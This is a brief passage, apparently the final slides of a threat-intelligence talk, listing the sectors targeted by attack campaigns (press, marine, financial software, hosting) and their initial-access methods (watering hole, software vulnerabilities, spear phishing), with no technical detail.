- Target : press, marine industry, Financial S/W development
- Initial Access :  
Watering Hole  
Financial security S/W vulnerabilities

- Target : Hosting company, Financial S/W development G/W development
- Initial Access:  
Spear Phishing



# Thank You

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